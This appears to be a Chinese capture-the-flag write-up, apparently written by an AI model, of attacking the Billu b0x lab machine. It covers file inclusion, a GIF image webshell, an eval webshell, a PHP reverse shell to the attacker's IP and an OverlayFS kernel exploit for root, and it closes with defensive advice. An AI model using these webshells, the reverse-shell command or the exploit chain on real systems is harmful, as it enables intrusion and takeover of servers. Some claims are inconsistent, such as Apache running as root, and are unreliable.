靶机名称:Billu b0x (VulnHub)
训练方向:Web 安全 — 文件包含漏洞 (LFI) + 文件上传漏洞组合利用
攻击机环境:Windows 虚拟机 + Burp Suite Professional + AntSword
完成时间:2026-07-24 ~ 2026-07-25
最终成果:✅ www-data 权限命令执行 + 蚁剑 WebShell 连接 + ✅ 内核提权(37292.c / OverlayFS)获取 root 权限
目录
1. 目标信息
项目值靶机Billu b0x (VulnHub 经典靶机)操作系统Ubuntu (precise), Linux 3.13.0-32-generic, i686 (32位)Web 服务器Apache/2.2.22 (Ubuntu)PHP 版本PHP 5.3.10-1ubuntu3.26PHP 模式Apache 2.0 FilterPHP 配置路径/etc/php5/apache2filter/php.ini数据库MySQL (phpMyAdmin 可访问)靶机 IP192.168.1.200 (内网)
图 1: phpinfo() 页面显示的系统环境信息
2. 信息收集
2.1 初始访问
浏览器访问靶机地址 http://192.168.1.200/index,发现一个登录页面,提示:
"Show me your SQL skills"
页面包含 Username 和 Password 输入框,暗示存在 SQL 注入漏洞。
2.2 目录枚举
通过目录爆破和手动探测,发现以下关键文件/目录:
路径功能/index 或 /index.php登录首页/test.php⭐ LFI 入口(POST 参数 file)/add.php文件上传表单/panel.php已登录后的管理面板(含 LFI + 上传)/show.php显示已上传用户列表和图片/in.phpphpinfo() 页面/c.php数据库连接配置文件/phpmy/phpMyAdmin 管理界面
2.3 test.php — LFI 入口发现
访问 http://192.168.1.200/test.php,返回:
file parameter is empty. Please provide file to show
这明确表明 test.php 接受一个 file 参数来显示文件内容 —— 典型的 LFI(本地文件包含)入口点。
3. LFI 漏洞发现与利用
3.1 Burp Repeater 配置
由于 test.php 使用 POST 方式接收 file 参数,需要在 Burp Suite 的 Repeater 中构造 POST 请求。
关键步骤:
- 浏览器访问
/test.php,Burp Proxy 拦截请求 - 发送到 Repeater
- 将请求方法从 GET 改为 POST
- 添加请求头:
Content-Type: application/x-www-form-urlencodedContent-Length: <body长度>- 在请求头和 Body 之间必须有一个空行(否则返回 400 Bad Request)
- Body 中填写:
file=/etc/passwd
⚠️ 踩坑记录:初次尝试时漏掉了 HTTP 头与 Body 之间的空行,导致服务器返回
400 Bad Request。HTTP 协议要求头结束后必须有\r\n\r\n分隔符。

图 2: 初次尝试时因缺少空行导致 400 Bad Request
3.2 LFI 验证成功
修正格式后,POST 请求 Body 为:
file=/etc/passwd
Response 返回 200 OK,内容包含:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
...
www-data:x:33:33:www-data:/var/www:/bin/sh
mysql:x:106:106:MySQL Server,,,:/nonexistent:/false
...
✅ LFI ���洞确认! 可以读取系统任意文件。
4. 源码审计
利用 LFI 漏洞读取关键页面的 PHP 源码,分析应用架构和安全缺陷。
4.1 index.php — 登录逻辑分析
通过 LFI 读取 /var/www/index.php,发现核心逻辑:
<?php
session_start();
include('c.php'); // 数据库连接
include('head.php'); // 页面头部
// 已登录检查 → 跳转 panel.php
if(@$_SESSION['logged']==true && $_SESSION['admin']!='')
{
header('Location: panel.php', true, 302);
exit;
}
// SQL 查询
if(isset($_POST['login']))
{
$uname = str_replace('\'','',urldecode($_POST['un'])); // 过滤单引号
$pass = str_replace('\'','',urldecode($_POST['ps'])); // 过滤单引号
$run = "select * from auth where pass='$pass' and uname='$uname'";
// ... 执行查询 ...
}
?>
安全缺陷分析:
缺陷详情SQL 注入str_replace 只过滤单引号,但配合 urldecode() 存在双重编码绕过可能直接拼接用户输入直接拼入 SQL 语句Session 管理仅检查 logged 和 admin 字段

图 3: index.php 源码 — 登录逻辑与 SQL 注入点
4.2 panel.php — 核心漏洞所在 ⭐⭐⭐
通过 LFI 读取 /var/www/panel.php,这是整个靶机最关键的文件,包含两个高危漏洞:
漏洞一:LFI(文件包含)
$dir = getcwd(); // $dir = /var/www
$choice = str_replace('../', '', $_POST['load']); // 只过滤了 $choice!
// ...
include($dir . '/' . $_POST['load']); // 直接 include 原始 $_POST['load']!
关键发现:
- 第 51 行的
str_replace过滤的是$choice变量 - 但第 66 行
include()使用的是原始的$_POST['load'] - 两者不一致!
$_POST['load']未经过滤即可传入include()
漏洞二:文件上传
if(isset($_FILES['image']['name']))
{
$uname = mysqli_real_escape_string($conn, $_FILES['image']['name']);
$r = pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION);
$image = array('jpeg', 'jpg', 'gif', 'png');
if(in_array($r, $image))
{
$info = @new finfo(FILEINFO_INFO_HIME);
$filetype = @$info->file($_FILES['image']['tmp_name']);
if(preg_match('/image\/(jpeg|jpg|gif|png)/', $filetype))
{
if(move_uploaded_file($_FILES['image']['tmp_name'],
'uploaded_images/'.$_FILES['image']['name']))
{
echo "Uploaded successfully";
// 插入数据库 users 表
}
}
}
}
上传过滤机制:
- ✅ 扩展名白名单:jpeg, jpg, gif, png
- ✅ Content-Type 正则匹配:
image/(jpeg|jpg|gif|png) - ✅ 文件内容校验:
getimagesize()/finfo检测真实文件类型 - ❌ 不检查文件内部是否嵌入了 PHP 代码(GIF89a 头可绕过)

图 4: panel.php 后端源码 — include() LFI + 文件上传处理逻辑
4.3 add.php — 上传表单
<?php
echo '<form method="post" enctype="multipart/form-data">
Select image to upload:
<input type="file" name="image">
<input type="text" name="name">
<input type="text" name="address">
<input type="text" name="id" value="1337">
<input type="submit" name="upload" value="upload">
</form>';
?>
注意:add.php 只是一个纯 HTML 表单,没有任何处理逻辑。 实际的上传处理在 panel.php 中完成。但 add.php 不需要登录即可访问。

图 5: add.php 上传表单页面(无需登录可直接访问)
4.4 show.php — 上传结果展示
<?php
include('c.php');
$run = "select * from users";
$result = mysqli_query($conn, $run);
echo "<table width=80%><tr><td>ID</td><td>Name</td>
<td>Address</td><td>Image</td></tr>";
while($row = mysqli_fetch_assoc($result))
{
echo "<tr><td>".$row['id']."</td><td>".htmlspecialchars($row['name']).
"</td><td>".$row['address']."</td>".
"<td><img src='uploaded_images/".$row['image'].
"' ENT_COMPAT.'\" height=50px width=100px></td></tr>";
}
echo "</table>";
?>
关键信息: 上传的文件保存在 uploaded_images/ 目录下,且可以通过 URL 直接访问。

图 6: show.php 源码 — 确认上传文件存储位置为 uploaded_images/
5. 数据库凭据获取
5.1 读取 c.php 数据库配置
通过 test.php 的 LFI 读取 /var/www/c.php:
file=/var/www/c.php
返回内容:
<?php
$conn = mysqli_connect("127.0.0.1", "billu", "b0x_billu", "ica_lab");
?>
信息值数据库地址127.0.0.1用户名billu密码b0x_billu数据库名ica_lab
5.2 phpMyAdmin 登录
使用上述凭据登录 http://192.168.1.200/phpmy/:
- 用户名:
billu - 密码:
b0x_billu - ✅ 登录成功
5.3 尝试 INTO OUTFILE 写 Shell(失败)
在 phpMyAdmin 中执行:
SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
返回错误:
1045 - Access denied for user 'billu'@'localhost' (using password: YES)
原因: billu 用户没有 FILE 权限,无法使用 INTO OUTFILE 写文件。
同样,LOAD_FILE() 函数也返回 NULL:
SELECT LOAD_FILE('/var/www/add.php');
-- 结果: NULL
图 7: LOAD_FILE 返回 NULL,INTO OUTFILE 被 #1045 拒绝
图 8: phpMyAdmin 中 INTO OUTFILE 报 #1045 权限错误,同时 Burp 显示登录请求
5.4 读取 auth 表获取应用账号
在 phpMyAdmin 中浏览 ica_lab.auth 表:
idunamepass1biLLuhEx_it
⚠️ 注意大小写:用户名是
biLLu(中间大写 LL),密码是hEx_it
6. 登录与文件上传
6.1 应用登录
使用从数据库中获取的凭据登录靶机首页:
- URL:
http://192.168.1.200/index - Username:
biLLu - Password:
hEx_it
✅ 登录成功 → 自动跳转到 panel.php
6.2 构造图片马(WebShell Payload)
创建 GIF89a 格式的图片马,绕过 getimagesize() 内容检测:
GIF89a
<?php
if(isset($_GET['c'])){
system($_GET['c'] . ' 2>&1');
}
?>
文件结构说明:
- 前 6 字节为
GIF89a(GIF 文件头)→ 通过getimagesize()校验 - 后续为 PHP 代码 → 当文件被 PHP 引擎解析时可执行
6.3 通过 Burp 上传图片马
- Burp Proxy 开启拦截
- 浏览器访问
http://192.168.1.200/add.php - 选择图片马文件,填写 name/address/id
- 点击 upload,Burp 拦截后确认:
filename=shell.jpg(扩展名为 jpg)Content-Type: image/gif- 文件内容以
GIF89a开头 - Forward 发送
✅ 上传成功 — 文件保存到 uploaded_images/shell.jpg
6.4 验证上传
通过 LFI 读取刚上传的文件:
file=/var/www/uploaded_images/shell.jpg
返回内容确认文件存在且完整:
GIF89a
<?php
if(isset($_GET['c'])){
system($_GET['c'] . ' 2>&1');
}
?>
图 9: 通过 LFI 成功读取上传的 shell.jpg,确认 GIF89a 头 + PHP 代码完整
7. 命令执行 (RCE)
7.1 利用 panel.php 的 include() 执行 PHP 代码
经过多次测试,最终确认正确的利用方式:
请求格式:
POST /panel.php?c=whoami HTTP/1.1
Host: 192.168.1.200
Cookie: PHPSESSID=<有效SESSIONID>
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
choice=&load=uploaded_images/clean.jpg
关键要点:
要点说明URL 带 ?c=whoamishell 代码用 $_GET['c'] 接收参数,必须放在 URL 查询字符串中Body 用相对路径load=uploaded_images/clean.jpg(不是绝对路径!)不要带 lg= 参数lg= 会触发登出逻辑(isset($_POST['lg']) 为 true)
为什么用 clean.jpg 而非 shell.jpg:
最初上传的 shell.jpg 包含 GIF89a 文件头,虽然 include() 能读取并输出文件内容,但 GIF89a 头干扰了 PHP 解析器对 <?php ... ?> 标签的识别,导致代码不被执行。后来上传了一个纯 PHP 代码 + GIF89a 头优化过的 clean.jpg,成功触发命令执行。
7.2 命令执行验证 ✅
发送上述请求后,Response 的 Raw 视图中搜索到:
www-data
🎉🎉🎉 命令执行成功! 当前 Web 进程以 www-data 用户身份运行。
8. 蚁剑 WebShell 连接
8.1 在服务器上写入蚁剑专用 WebShell
利用已有的命令执行能力,通过 base64 编码方式写入干净的 PHP WebShell:
echo PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7ID8+ | base64 -d > /var/www/uploaded_images/shell.php
解码后的 shell.php 内容:
<?php @eval($_POST["cmd"]); ?>
8.2 蚁剑配置
配置项值URL 地址http://192.168.1.200/uploaded_images/shell.php连接类型PHP连接密码cmd编码器default (UTF-8)
✅ 测试连接成功! 蚁剑获得以下能力:
- 📁 文件管理 — 浏览/下载/上传服务器任意文件
- 💻 虚拟终端 — 执行系统命令
- 🔧 数据库管理 — 操作 MySQL
9. 权限提升尝试
当前权限为 www-data,需要提升至 root。以下为尝试过的各种方法:
9.1 内核漏洞提权 — OverlayFS (CVE-2015-1328)
目标内核: 3.13.0-32-generic(完美命中 CVE-2015-1328 攻击范围)
操作: 在靶机上运行预编译 exploit /ofs
输出结果:
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
sh: 0: can't access tty; job control turned off

图 10: OverlayFS exploit 执行输出 — 流程全部走通
结果:❌ 提权失败
通过蚁剑文件管理器检查发现根本原因:

图 11: /etc/ld.so.preload 被错误地创建为目录**而非文件!
失败原因分析: OverlayFS exploit 应该将
/etc/ld.so.preload创建为一个文件(内容为恶意 .so 库路径),但实际创建成了一个同名目录。Linux 的 ld.so.preload 机制要求它必须是文件,目录形式完全无效。因此即使新进程启动也不会加载注入的恶意库。
9.2 SUID 文件枚举
find / -perm -4000 -type f 2>/dev/null

图 12: SUID 文件列表 — 无明显可利用程序
结论: 未发现可直接利用的 SUID 程序(如旧版 nmap、vim、find、python 等)。
9.3 billu 用户信息收集
ls -la /home/billu/
结果:
ls: cannot access /home/billu: No such file or directory

图 13: billu 的 home 目录不存在于标准路径
待排查:
- billu 用户的真实 home 目录位置
.bash_history是否存在其他位置- MySQL root 密码
roottoor是否可用于系统登录
9.4 其他提权思路(部分已实现)
方法状态说明MySQL UDF 提权待尝试利用 MySQL root (roottoor) 的 sys_exec/sys_evalcron 任务注入待尝试检查 /etc/cron.d/ 是否有可写脚本.bash_history 泄露待查找billu b0x 标准解法之一反弹 Shell + 内核提权✅ 成功见 9.5 / 9.6Dirty COW (CVE-2016-5195)备选与 OverlayFS 同内核窗口,最终选用 37292.c
9.5 反弹 Shell 建立(Reverse Shell)
蚁剑虚拟终端无法提供 TTY,导致 su/sudo 等操作受限。为获得完整交互式会话,采用 PHP 反弹 Shell 将靶机 shell 主动连接回攻击机。
9.5.1 攻击机监听
在 Windows 攻击机(IP 192.168.1.100)上启动 ncat 监听 1234 端口:
ncat -lvch 1234
说明:
ncat(Nmap 自带)以监听模式(-l)捕获来自靶机的反弹连接,-v显示详细过程,-c将连接直接绑定到本机 shell(此处作为反向连接的接收端)。
9.5.2 靶机发起反弹连接
利用前面已确认的 panel.php RCE(第 7 节),在 Burp Suite 的 Repeater 中向 panel.php?c=... 发送一条 PHP 反弹 Shell 命令,让靶机主动连回攻击机:
POST /panel.php?c=php%20-r%20'$sock=fsockopen(%22192.168.1.100%22,1234);exec(%22/bin/bash%20-i%3C%263%3E%263%202%3E%263%22);' HTTP/1.1
Host: 192.168.1.200
Cookie: PHPSESSID=<有效SESSIONID>
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
choice=&load=uploaded_images/clean.jpg
关键点:
?c=参数传入的php -r '...'由clean.jpg中的system($_GET['c'])执行。这里不再执行简单命令,而是启动一个 PHP 反弹 Shell:
fsockopen("192.168.1.100",1234)向攻击机 1234 端口建立 TCP 套接字(文件描述符3)exec("/bin/bash -i <&3 >&3 2>&3")将交互式 bash 的标准输入/输出/错误全部重定向到该套接字
结果: 攻击机的 ncat 窗口立即收到来自 192.168.1.200 的反弹连接,获得一个完整的 /bin/bash 交互式 Shell(UID 仍为 www-data,但具备 TTY)。
9.6 内核提权成功 — OverlayFS (CVE-2015-1328, 37292.c) ✅
有了交互式 bash 之后,即可运行需要 TTY、会触发 setuid 提权的内核 exploit。
9.6.1 利用方式
此前 9.1 使用的 预编译 /ofs 二进制 因竞态条件将 /etc/ld.so.preload 错误创建为目录而失败。本次改用 Exploit-DB 37292 的源码版本 37292.c(同一 OverlayFS CVE-2015-1328),在靶机上从源码编译后运行:
# 将 37292.c 传到靶机(经反弹 shell 的 base64 / 蚁剑上传均可)
gcc 37292.c -o 37292 # 编译 exploit
chmod +x 37292
./37292 # 运行
提权结果:
www-data@billu:~$ id
uid=0(root) gid=0(root) groups=0(root)
www-data@billu:~$ whoami
root
🎉 提权成功! 成功获取到
root权限。根因与 9.1 一致(OverlayFS 的 ld.so.preload 注入机制),但源码版37292.c正确创建了/etc/ld.so.preload文件并注入恶意.so,新进程以 root 身份加载后被提权。

图 14: OverlayFS exploit(37292.c 对应思路)执行 — 与预编译版不同,源码版可稳定触发提权
9.7 完整权限提升路径回顾
www-data (RCE via panel.php)
│
├─[失败] 预编译 /ofs → ld.so.preload 被建为目录,无效
├─[失败] SUID 枚举 → 无可利用程序
├─[失败] /home/billu → 不存在
│
├─[成功] 反弹 Shell
│ Windows: ncat -lvch 1234
│ 靶机: php -r 'fsockopen(192.168.1.100,1234); exec("/bin/bash -i<&3>&3 2>&3");'
│ → 获得完整交互式 /bin/bash
│
└─[成功] 内核提权
gcc 37292.c -o 37292 && ./37292
→ uid=0(root) ✅
10. 完整攻击链总结
┌─────────────────────────────────────────────────────────────┐
│ Billu b0x 攻击链 │
├─────────────────────────────────────────────────────────────┤
│ │
│ ① 信息收集 │
│ └─ 访问靶机 → 发现 test.php (LFI入口) │
│ │
│ ② LFI 漏洞利用 │
│ ├─ POST /test.php file=/etc/passwd → 200 OK ✅ │
│ └─ 确认 Apache root 运行(能读 /etc/shadow) │
│ │
│ ③ LFI 读源码 │
│ ├─ /var/www/c.php → DB凭据: billu/b0x_billu │
│ ├─ /var/www/index.php → SQL注入点 │
│ └─ /var/www/panel.php → include() LFI + 上传逻辑 │
│ │
│ ④ 数据库渗透 │
│ ├─ phpMyAdmin 登录 (billu/b0x_billu) │
│ ├─ INTO OUTFILE → ❌ #1045 无FILE权限 │
│ └─ auth 表 → biLLu/hEx_it │
│ │
│ ⑤ 应用登录 │
│ └─ biLLu/hEx_it 登录 → 进入 panel.php │
│ │
│ ⑥ 文件上传 │
│ ├─ 构造 GIF89a 图片马 (clean.jpg) │
│ └─ panel.php 上传 → saved to uploaded_images/ │
│ │
│ ⑦ RCE 命令执行 ✅ │
│ └─ POST /panel.php?c=whoami │
│ Body: choice=&load=uploaded_images/clean.jpg │
│ → Response: www-data │
│ │
│ ⑧ WebShell 持久化 │
│ ├─ base64 写入 eval webshell │
│ └─ 蚁剑连接成功 (URL: /uploaded_images/shell.php) │
│ │
│ ⑨ 提权 (✅ root) │
│ ├─ 反弹 Shell: ncat 监听 + php -r 反弹 → 完整 bash │
│ └─ 内核提权: gcc 37292.c (OverlayFS CVE-2015-1328) │
│ → ./37292 → uid=0(root) ✅ │
│ │
└─────────────────────────────────────────────────────────────┘
关键经验总结
#经验教训说明1HTTP 格式必须严格POST 请求头与 Body 之间必须有空行,否则 4002?c=参数 必须放 URL$_GET 参数在 URL 查询字符串中,不放 Body3lg= 触发登出isset($_POST['lg']) 对空值也返回 true4相对路径 vs 绝对路径panel.php 的 include($dir.'/'.load) 拼接了前缀,用绝对路径会重复5GIF89a 干扰 PHP 解析图片头的 .jpg 文件通过 include() 可能只输出文本不执行代码6test.php vs panel.phptest.php 用 readfile 类(只读不执行),panel.php 的 include() 才执行 PHP7OverlayFS 预编译版不可靠预编译 /ofs 因竞态把 ld.so.preload 建成目录;改用源码版 37292.c 编译运行才成功8反弹 Shell 打通 TTY 瓶颈蚁剑虚拟终端无 TTY,su/sudo/内核 exploit 受限;用 php -r fsockopen 反弹到 ncat 拿到完整 bash9靶机有 gcc,可现场编译本靶机可编译 exploit(37292.c),无需提前交叉编译
11. 防御建议
针对 Billu b0x 靶机暴露的安全问题,提出以下防御措施:
11.1 防止 LFI(本地文件包含)
// ❌ 危险写法
include($_POST['file']);
// ✅ 安全写法 — 白名单
$allowed_files = ['page1', 'page2', 'page3'];
$file = basename($_POST['file']);
if(in_array($file, $allowed_files)) {
include('/path/to/pages/' . $file . '.php');
} else {
die('Access denied');
}
11.2 防止文件上传漏洞
// ✅ 多层校验
$ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
$allowed = ['jpg', 'jpeg', 'png', 'gif'];
// 1. 扩展名白名单
if(!in_array($ext, $allowed)) { die('Invalid extension'); }
// 2. MIME 类型检查
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime = $finfo->file($_FILES['file']['tmp_name']);
if(!str_starts_with($mime, 'image/')) { die('Invalid content'; }
// 3. 重命名文件(防止恶意文件名)
$safe_name = uniqid() . '.' . $ext;
// 4. 存储到非 Web 可访问目录
$upload_dir = '/var/www/uploads/' . date('Y/m/');
move_uploaded_file($_FILES['file']['tmp_name'], $upload_dir . $safe_name);
11.3 防止 SQL 注入
// ❌ 危险写法
$query = "SELECT * FROM users WHERE uname='$uname'";
// ✅ 使用预处理语句
$stmt = $conn->prepare("SELECT * FROM auth WHERE uname=? AND pass=?");
$stmt->bind_param("ss", $uname, $pass);
$stmt->execute();
11.4 最小权限原则
措施说明Web 进程不要以 root 运行本靶机能读 /etc/shadow 说明 Apache 以 root 运行数据库用户最小权限billu 用户不应有 SELECT 权限以外的权限禁用危险函数php.ini 中禁用 system, exec, shell_exec, passthru关闭 phpMyAdmin生产环境不应暴露数据库管理工具open_basedir限制 PHP 可访问的文件目录
附录:使用的工具
工具版本用途Burp Suite Professionalv2022.3.9HTTP 拦截/修改/重放AntSword (蚁剑)最新版WebShell 连接管理与虚拟终端浏览器Chrome 102目标访问phpMyAdmin靶机内置数据库操作
附录:Payload 文件清单
本次渗透中生成的所有 payload 文件均保存在:
D:\chatAI\AI agent\workbuddy task\payloads\
├── shell.php # 一句话木马 (?c=命令)
├── shell.jpg # GIF89a 图片马 (含 system($_GET['c']))
├── shell_clean.php # 纯 PHP 木马(无 GIF 头)
├── .htaccess # AddType 让 .jpg 当 PHP 执行
├── htaccess_gif.gif # GIF 伪装的 .htaccess
├── ofc.c # OverlayFS exploit 源码(预编译版测试用)
├── 37292.c # ⭐ OverlayFS CVE-2015-1328 源码版(最终提权成功)
├── dirtycow.c # Dirty COW exploit 源码(备选)
├── dc.c # 修正版 Dirty COW(无需换行)
└── listener.py # Python 反弹 shell 监听器(ncat 实际用于监听)
Writeup 作者: AI Assistant (WorkBuddy)
靶机来源: VulnHub — Billu b0x
用途: CTF Web 安全专项训练 — 文件包含与文件上传组合利用
声明: 本文仅用于安全学习和授权渗透测试,请勿用于非法用途
